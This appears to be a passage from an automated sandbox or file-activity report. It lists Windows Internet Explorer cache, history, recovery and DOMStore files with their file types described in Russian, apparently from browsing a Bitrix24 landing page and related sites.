C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\OTP8aE3A-QB[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\JopZtdti8dq[1]. | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\B2Bf9u8ljuv[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\585b051251[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\History\History. | данные | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\ynfz0jx\imagestore.dat | данные | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{A3F97DD7-DB9D-11EB-90E4-ECF4BB862DED}.dat | Документ Microsoft Word | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{9CB41007-DB9D-11EB-90E4-ECF4BB862DED}. | Документ Microsoft Word | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{9CB41005-DB9D-11EB-90E4-ECF4BB862DED}.дата | Документ Microsoft Word | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\NF39IAOE\b24-1r7gzu.bitrix24[1].xml | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\HSBZDYSF\www. | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-contact-center-2[1].svg | Масштабируемая векторная графика SVG изображение | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\logo46x38[1].png | Данные изображения PNG, 46 x 38, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\logo-slack[1]. | Масштабируемая векторная графика SVG изображение | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\logo-skype[1].svg | Масштабируемая векторная графика SVG изображение | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\logo-mailchimp[1].svg | Масштабируемая векторная графика SVG изображение | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\landing_public. | Текст ASCII без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\js[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\jquery-3.5.1.min[1].js | Текст ASCII, с очень длинными строками, с разделителями строк CRLF | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\index-5-why-b24-sites[1]. | Данные изображения PNG, 1201 x 721, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-tasks[1].png | Данные изображения PNG, 34 x 48, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-lines[1].png | Данные изображения PNG, 48 x 41, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-crm[1]. | Данные изображения PNG, 48 x 42, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-crm-5[1].svg | Масштабируемая векторная графика SVG изображение | # | |
C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\18LDZ21O\m.facebook[1].xml | Текст ASCII без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\icon-communication[1]. | Данные изображения PNG, 49 x 28, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\hsts-pixel[1].gif | Данные изображения GIF, версия 89a, 1 x 1 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\header.min[1].js | Текст ASCII, с очень длинными строками, без разделителей строк | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\gmail[1]. | Данные изображения PNG, 1280 x 1280, 8 бит/цвет RGBA, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\gB76kJXPYJV[1].png | Данные изображения PNG, 196 x 196, 8-битная цветовая карта, без чересстрочной развертки | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\free-fa-solid-900[1].eot | Embedded OpenType (EOT), семейство Font Awesome 5 Free Solid | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\free-fa-regular-400[1]. | Embedded OpenType (EOT), Font Awesome 5 Free Regular family | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\font[1].woff | Web Open Font Format, TrueType, длина 98024, версия 4.7 | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\ez-beZ7dNFv[1].js | Текст ASCII с очень длинными строками | # | |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\dexie. |